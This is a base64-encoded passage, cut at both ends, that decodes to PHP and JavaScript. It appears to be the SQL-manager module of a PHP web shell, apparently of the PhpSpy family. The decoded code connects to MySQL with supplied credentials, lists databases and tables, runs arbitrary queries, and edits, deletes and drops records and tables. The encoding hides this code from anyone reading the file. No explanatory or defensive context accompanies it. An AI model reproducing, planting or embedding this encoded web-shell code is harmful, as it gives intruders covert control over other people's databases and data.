JGRiaG9zdCkpOw0KCXAoJzonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KCXAoJ0RCVXNlcjonKTsNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsNCglwKCdEQlBhc3M6Jyk7DQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoJcCgnREJDaGFyc2V0OicpOw0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWZvcm1mb290KCk7DQo/Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCglpZiAoYWN0aW9uID09ICdkZWwnKSB7CQkNCgkJaWYgKCFjb25maXJtKCdJcyBvciBpc25cJ3QgZGVsZXRpb24gcmVjb3JkPycpKSByZXR1cm47DQoJfQ0KCSQoJ3JlY29yZGxpc3QnKS5kb2luZy52YWx1ZT1hY3Rpb247DQoJJCgncmVjb3JkbGlzdCcpLmJhc2U2NC52YWx1ZT1iYXNlNjQ7DQoJJCgncmVjb3JkbGlzdCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7DQoJJCgncmVjb3JkbGlzdCcpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gbW9kZGJuYW1lKGRibmFtZSkgew0KCWlmKCFkYm5hbWUpIHJldHVybjsNCgkkKCdzZXRkYm5hbWUnKS5kYm5hbWUudmFsdWU9ZGJuYW1lOw0KCSQoJ3NldGRibmFtZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gc2V0dGFibGUodGFibGVuYW1lLGRvaW5nLHBhZ2UpIHsNCglpZighdGFibGVuYW1lKSByZXR1cm47DQoJaWYgKGRvaW5nKSB7DQoJCSQoJ3NldHRhYmxlJykuZG9pbmcudmFsdWU9ZG9pbmc7DQoJfQ0KCWlmIChwYWdlKSB7DQoJCSQoJ3NldHRhYmxlJykucGFnZS52YWx1ZT1wYWdlOw0KCX0NCgkkKCdzZXR0YWJsZScpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7DQoJJCgnc2V0dGFibGUnKS5zdWJtaXQoKTsNCn0NCjwvc2NyaXB0Pg0KPD9waHANCgkvL7LZ1/e8x8K8DQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsNCgltYWtlaGlkZSgnZG9pbmcnKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgltYWtlaGlkZSgnYmFzZTY0Jyk7DQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KCXAoJGRiZm9ybSk7DQoJZm9ybWZvb3QoKTsNCg0KCS8v0aG2qMomIzMwNTu+JiMzMDQ7v+INCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXRkYm5hbWUnKSk7DQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoJcCgkZGJmb3JtKTsNCglpZiAoISRkYm5hbWUpIHsNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KCX0NCglmb3JtZm9vdCgpOw0KDQoJLy/Robaose0NCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCglwKCRkYmZvcm0pOw0KCW1ha2VoaWRlKCd0YWJsZW5hbWUnKTsNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KCW1ha2VoaWRlKCdkb2luZycpOw0KCWZvcm1mb290KCk7DQoNCgkkY2FjaGV0YWJsZXMgPSBhcnJheSgpOwkNCgkkcGFnZW51bSA9IDMwOw0KCSRwYWdlID0gaW50dmFsKCRwYWdlKTsNCglpZigkcGFnZSkgew0KCQkkc3RhcnRfbGltaXQgPSAoJHBhZ2UgLSAxKSAqICRwYWdlbnVtOw0KCX0gZWxzZSB7DQoJCSRzdGFydF9saW1pdCA9IDA7DQoJCSRwYWdlID0gMTsNCgl9DQoJaWYgKGlzc2V0KCRkYmhvc3QpICYmIGlzc2V0KCRkYnVzZXIpICYmIGlzc2V0KCRkYnBhc3MpICYmIGlzc2V0KCRjb25uZWN0KSkgew0KCQlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KCQkvL7vxyKHKJiMzMDU7viYjMzA0O7/iJiMyODY7xc+iDQoJCSRteXNxbHZlciA9IG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpOw0KCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4kZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7DQoJCSRoaWdodmVyID0gJG15c3FsdmVyID4gJzQuMScgPyAxIDogMDsNCg0KCQkvL7vxyKHKJiMzMDU7viYjMzA0O7/iDQoJCSRxdWVyeSA9IHEoIlNIT1cgREFUQUJBU0VTIik7DQoJCSRkYnMgPSBhcnJheSgpOw0KCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOw0KCQl3aGlsZSgkZGIgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoJCQkkZGJzWyRkYlsnRGF0YWJhc2UnXV0gPSAkZGJbJ0RhdGFiYXNlJ107DQoJCX0NCgkJbWFrZXNlbGVjdChhcnJheSgndGl0bGUnPT4nUGxlYXNlIHNlbGVjdCBhIGRhdGFiYXNlOicsJ25hbWUnPT4nZGJbXScsJ29wdGlvbic9PiRkYnMsJ3NlbGVjdGVkJz0+JGRibmFtZSwnb25jaGFuZ2UnPT4nbW9kZGJuYW1lKHRoaXMub3B0aW9uc1t0aGlzLnNlbGVjdGVkSW5kZXhdLnZhbHVlKScsJ25ld2xpbmUnPT4xKSk7DQoJCSR0YWJsZWRiID0gYXJyYXkoKTsNCgkJaWYgKCRkYm5hbWUpIHsNCgkJCXAoJzxwPicpOw0KCQkJcCgnQ3VycmVudCBkYWJhYmFzZTogPGEgaHJlZj0iamF2YXNjcmlwdDptb2RkYm5hbWUoXCcnLiRkYm5hbWUuJ1wnKTsiPicuJGRibmFtZS4nPC9hPicpOw0KCQkJaWYgKCR0YWJsZW5hbWUpIHsNCgkJCQlwKCcgfCBDdXJyZW50IFRhYmxlOiA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJyk7Ij4nLiR0YWJsZW5hbWUuJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdpbnNlcnRcJyk7Ij5JbnNlcnQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnc3RydWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdJyk7DQoJCQl9DQoJCQlwKCc8L3A+Jyk7DQoJCQlteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7DQoNCgkJCSRnZXRudW1zcWwgPSAnJzsNCgkJCSRydW5xdWVyeSA9IDA7DQoJCQlpZiAoJHNxbF9xdWVyeSkgew0KCQkJCSRydW5xdWVyeSA9IDE7DQoJCQl9DQoJCQkkYWxsb3dlZGl0ID0gMDsNCgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7DQoJCQkJJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUiOw0KCQkJCSRnZXRudW1zcWwgPSAkc3FsX3F1ZXJ5Ow0KCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7DQoJCQkJJGFsbG93ZWRpdCA9IDE7DQoJCQl9DQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsNCgkJCXAoJzxwPjx0YWJsZSB3aWR0aD0iMjAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZCBjb2xzcGFuPSIyIj5SdW4gU1FMIHF1ZXJ5L3F1ZXJpZXMgb24gZGF0YWJhc2UgJy4kZGJuYW1lLic6PC90ZD48L3RyPjx0cj48dGQ+PHRleHRhcmVhIG5hbWU9InNxbF9xdWVyeSIgY2xhc3M9ImFyZWEiIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NTBweDtvdmVyZmxvdzphdXRvOyI+Jy5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnksRU5UX1FVT1RFUykuJzwvdGV4dGFyZWE+PC90ZD48dGQgc3R5bGU9InBhZGRpbmc6MCA1cHg7Ij48aW5wdXQgY2xhc3M9ImJ0IiBzdHlsZT0iaGVpZ2h0OjUwcHg7IiBuYW1lPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlF1ZXJ5IiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvcD4nKTsNCgkJCW1ha2VoaWRlKCd0YWJsZW5hbWUnLCAkdGFibGVuYW1lKTsNCgkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCQkJcCgkZGJmb3JtKTsNCgkJCXAoJzwvZm9ybT4nKTsNCgkJCWlmICgkdGFibGVuYW1lIHx8ICgkcnVucXVlcnkgJiYgJHNxbF9xdWVyeSkpIHsNCgkJCQlpZiAoJGRvaW5nID09ICdzdHJ1Y3R1cmUnKSB7DQoJCQkJCSRyZXN1bHQgPSBxKCJTSE9XIENPTFVNTlMgRlJPTSAkdGFibGVuYW1lIik7DQoJCQkJCSRyb3dkYiA9IGFycmF5KCk7DQoJCQkJCXdoaWxlKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KCQkJCQkJJHJvd2RiW10gPSAkcm93Ow0KCQkJCQl9DQoJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7DQoJCQkJCXAoJzx0ZD5GaWVsZDwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD5UeXBlPC90ZD4nKTsNCgkJCQkJcCgnPHRkPk51bGw8L3RkPicpOw0KCQkJCQlwKCc8dGQ+S2V5PC90ZD4nKTsNCgkJCQkJcCgnPHRkPkRlZmF1bHQ8L3RkPicpOw0KCQkJCQlwKCc8dGQ+RXh0cmE8L3RkPicpOw0KCQkJCQlwKCc8L3RyPicpOw0KCQkJCQlmb3JlYWNoICgkcm93ZGIgYXMgJHJvdykgew0KCQkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydGaWVsZCddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snVHlwZSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHJvd1snS2V5J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydEZWZhdWx0J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJfQ0KCQkJCQl0YmZvb3QoKTsNCgkJCQl9IGVsc2VpZiAoJGRvaW5nID09ICdpbnNlcnQnIHx8ICRkb2luZyA9PSAnZWRpdCcpIHsNCgkJCQkJJHJlc3VsdCA9IHEoJ1NIT1cgQ09MVU1OUyBGUk9NICcuJHRhYmxlbmFtZSk7DQoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCgkJCQkJfQ0KCQkJCQkkcnMgPSBhcnJheSgpOw0KCQkJCQlpZiAoJGRvaW5nID09ICdpbnNlcnQnKSB7DQoJCQkJCQlwKCc8aDI+SW5zZXJ0IG5ldyBsaW5lIGluICcuJHRhYmxlbmFtZS4nIHRhYmxlICZyYXF1bzs8L2gyPicpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJcCgnPGgyPlVwZGF0ZSByZWNvcmQgaW4gJy4kdGFibGVuYW1lLicgdGFibGUgJnJhcXVvOzwvaDI+Jyk7DQoJCQkJCQkkd2hlcmUgPSBiYXNlNjRfZGVjb2RlKCRiYXNlNjQpOw0KCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOw0KCQkJCQkJJHJzID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7DQoJCQkJCX0NCgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7DQoJCQkJCXAoJGRiZm9ybSk7DQoJCQkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsNCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQkJZm9yZWFjaCAoJHJvd2RiIGFzICRyb3cpIHsNCgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsNCgkJCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCRyc1skcm93WydGaWVsZCddXSk7DQoJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCSR2YWx1ZSA9ICcnOw0KCQkJCQkJfQ0KCQkJCQkJJHRoaXNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+PGI+Jy4kcm93WydGaWVsZCddLic8L2I+PGJyIC8+Jy4kcm93WydUeXBlJ10uJzwvdGQ+PHRkPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgbmFtZT0iaW5zZXJ0c3FsWycuJHJvd1snRmllbGQnXS4nXSIgc3R5bGU9IndpZHRoOjUwMHB4O2hlaWdodDo2MHB4O292ZXJmbG93OmF1dG87Ij4nLiR2YWx1ZS4nPC90ZXh0YXJlYT48L3RkPjwvdHI+Jyk7DQoJCQkJCX0NCgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0Jykgew0KCQkJCQkJcCgnPHRyIGNsYXNzPSInLmJnKCkuJyI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCBjbGFzcz0iYnQiIHR5cGU9InN1Ym1pdCIgbmFtZT0iaW5zZXJ0IiB2YWx1ZT0iSW5zZXJ0IiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InVwZGF0ZSIgdmFsdWU9IlVwZGF0ZSIgLz48L3RkPjwvdHI+Jyk7DQoJCQkJCQltYWtlaGlkZSgnYmFzZTY0JywgJGJhc2U2NCk7DQoJCQkJCX0NCgkJCQkJcCgnPC90YWJsZT48L2Zvcm0+Jyk7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJHF1ZXJ5cyA9IEBleHBsb2RlKCc7Jywkc3FsX3F1ZXJ5KTsNCgkJCQkJZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgew0KCQkJCQkJaWYgKCRxdWVyeSkgew0KCQkJCQkJCXAoIjxwPjxiPlF1ZXJ5I3skbnVtfSA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L3A+Iik7DQoJCQkJCQkJc3dpdGNoKHF5KCRxdWVyeSkpDQoJCQkJCQkJew0KCQkJCQkJCQljYXNlIDA6DQoJCQkJCQkJCQlwKCc8aDI+RXJyb3IgOiAnLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7DQoJCQkJCQkJCQlicmVhazsJDQoJCQkJCQkJCWNhc2UgMToNCgkJCQkJCQkJCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgew0KCQkJCQkJCQkJCSRhbGxvd2VkaXQgPSAxOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCRnZXRudW1zcWwpIHsNCgkJCQkJCQkJCQkkdGF0b2wgPSBteXNxbF9udW1fcm93cyhxKCRnZXRudW1zcWwpKTsNCgkJCQkJCQkJCQkkbXVsdGlwYWdlID0gbXVsdGkoJHRhdG9sLCAkcGFnZW51bSwgJHBhZ2UsICR0YWJsZW5hbWUpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJaWYgKCEkdGFibGVuYW1lKSB7DQoJCQkJCQkJCQkJJHNxbF9saW5lID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiwgIlx0IiksIGFycmF5KCcgJywgJyAnLCAnICcpLCB0cmltKGh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5KSkpOw0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOw0KCQkJCQkJCQkJCXByZWdfbWF0Y2hfYWxsKCIvZnJvbVxzK2B7MCwxfShbXHddKylgezAsMX1ccysvaSIsJHNxbF9saW5lLCRtYXRjaGVzKTsNCgkJCQkJCQkJCQkkdGFibGVuYW1lID0gJG1hdGNoZXNbMV1bMF07DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQkkcmVzdWx0ID0gcSgkcXVlcnkpOw0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCgkJCQkJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoJCQkJCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZD5BY3Rpb248L3RkPicpOw0KCQkJCQkJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQoJCQkJCQkJCQlmb3IoJGk9MDskaTwkZmllbGRudW07JGkrKyl7DQoJCQkJCQkJCQkJJG5hbWUgPSBAbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7DQoJCQkJCQkJCQkJJGxlbiA9IEBteXNxbF9maWVsZF9sZW4oJHJlc3VsdCwgJGkpOw0KCQkJCQkJCQkJCXAoIjx0ZCBub3dyYXA+JG5hbWU8YnI+PHNwYW4+JHR5cGUoJGxlbik8L3NwYW4+PC90ZD4iKTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJCQkJCQl3aGlsZSgkbW4gPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpew0KCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOw0KCQkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCgkJCQkJCQkJCQkkd2hlcmUgPSAkdG1wID0gJGIxID0gJyc7DQoJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7DQoJCQkJCQkJCQkJCWlmICgkaW5zaWRlKSB7DQoJCQkJCQkJCQkJCQkkd2hlcmUgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkaW5zaWRlKS4iJyI7DQoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQkkYjEgLj0gJzx0ZCBub3dyYXA+Jy5odG1sX2NsZWFuKCRpbnNpZGUpLicmbmJzcDs8L3RkPic7DQoJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCSR3aGVyZSA9IGJhc2U2NF9lbmNvZGUoJHdoZXJlKTsNCgkJCQkJCQkJCQlpZiAoJGFsbG93ZWRpdCkgcCgnPHRkIG5vd3JhcD48YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdlZGl0XCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RWRpdDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmVkaXRyZWNvcmQoXCdkZWxcJywgXCcnLiR3aGVyZS4nXCcsIFwnJy4kdGFibGVuYW1lLidcJyk7Ij5EZWw8L2E+PC90ZD4nKTsNCgkJCQkJCQkJCQlwKCRiMSk7DQoJCQkJCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJCQkJCQl1bnNldCgkYjEpOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJdGJmb290KCk7DQoJCQkJCQkJCQlwKCRtdWx0aXBhZ2UpOw0KCQkJCQkJCQkJYnJlYWs7CQ0KCQkJCQkJCQljYXNlIDI6DQoJCQkJCQkJCQkkYXIgPSBteXNxbF9hZmZlY3RlZF9yb3dzKCk7DQoJCQkJCQkJCQlwKCc8aDI+YWZmZWN0ZWQgcm93cyA6IDxiPicuJGFyLic8L2I+PC9oMj4nKTsNCgkJCQkJCQkJCWJyZWFrOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0gZWxzZSB7DQoJCQkJJHF1ZXJ5ID0gcSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsNCgkJCQkkdGFibGVfbnVtID0gJHRhYmxlX3Jvd3MgPSAkZGF0YV9zaXplID0gMDsNCgkJCQkkdGFibGVkYiA9IGFycmF5KCk7DQoJCQkJd2hpbGUoJHRhYmxlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgew0KCQkJCQkkZGF0YV9zaXplID0gJGRhdGFfc2l6ZSArICR0YWJsZVsnRGF0YV9sZW5ndGgnXTsNCgkJCQkJJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOw0KCQkJCQkkdGFibGVbJ0RhdGFfbGVuZ3RoJ10gPSBzaXplY291bnQoJHRhYmxlWydEYXRhX2xlbmd0aCddKTsNCgkJCQkJJHRhYmxlX251bSsrOw0KCQkJCQkkdGFibGVkYltdID0gJHRhYmxlOw0KCQkJCX0NCgkJCQkkZGF0YV9zaXplID0gc2l6ZWNvdW50KCRkYXRhX3NpemUpOw0KCQkJCXVuc2V0KCR0YWJsZSk7DQoJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCgkJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsNCgkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCgkJCQlwKCRkYmZvcm0pOw0KCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7DQoJCQkJcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPicpOw0KCQkJCXAoJzx0ZD5OYW1lPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Um93czwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkRhdGFfbGVuZ3RoPC90ZD4nKTsNCgkJCQlwKCc8dGQ+Q3JlYXRlX3RpbWU8L3RkPicpOw0KCQkJCXAoJzx0ZD5VcGRhdGVfdGltZTwvdGQ+Jyk7DQoJCQkJaWYgKCRoaWdodmVyKSB7DQoJCQkJCXAoJzx0ZD5FbmdpbmU8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Q29sbGF0aW9uPC90ZD4nKTsNCgkJCQl9DQoJCQkJcCgnPC90cj4nKTsNCgkJCQlmb3JlYWNoICgkdGFibGVkYiBhcyAka2V5ID0+ICR0YWJsZSkgew0KCQkJCQkkdGhpc2JnID0gYmcoKTsNCgkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KCQkJCQlwKCc8dGQgYWxpZ249ImNlbnRlciIgd2lkdGg9IjIlIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InRhYmxlW10iIHZhbHVlPSInLiR0YWJsZVsnTmFtZSddLiciIC8+PC90ZD4nKTsNCgkJCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJyk7Ij4nLiR0YWJsZVsnTmFtZSddLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnc3RydWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXTwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnUm93cyddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0RhdGFfbGVuZ3RoJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ3JlYXRlX3RpbWUnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydVcGRhdGVfdGltZSddLic8L3RkPicpOw0KCQkJCQlpZiAoJGhpZ2h2ZXIpIHsNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRW5naW5lJ10uJzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ0NvbGxhdGlvbiddLic8L3RkPicpOw0KCQkJCQl9DQoJCQkJCXAoJzwvdHI+Jyk7DQoJCQkJfQ0KCQkJCXAoJzx0ciBjbGFzcz0nLmJnKCkuJz4nKTsNCgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsNCgkJCQlwKCc8dGQ+VG90YWwgdGFibGVzOiAnLiR0YWJsZV9udW0uJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJHRhYmxlX3Jvd3MuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPicuJGRhdGFfc2l6ZS4nPC90ZD4nKTsNCgk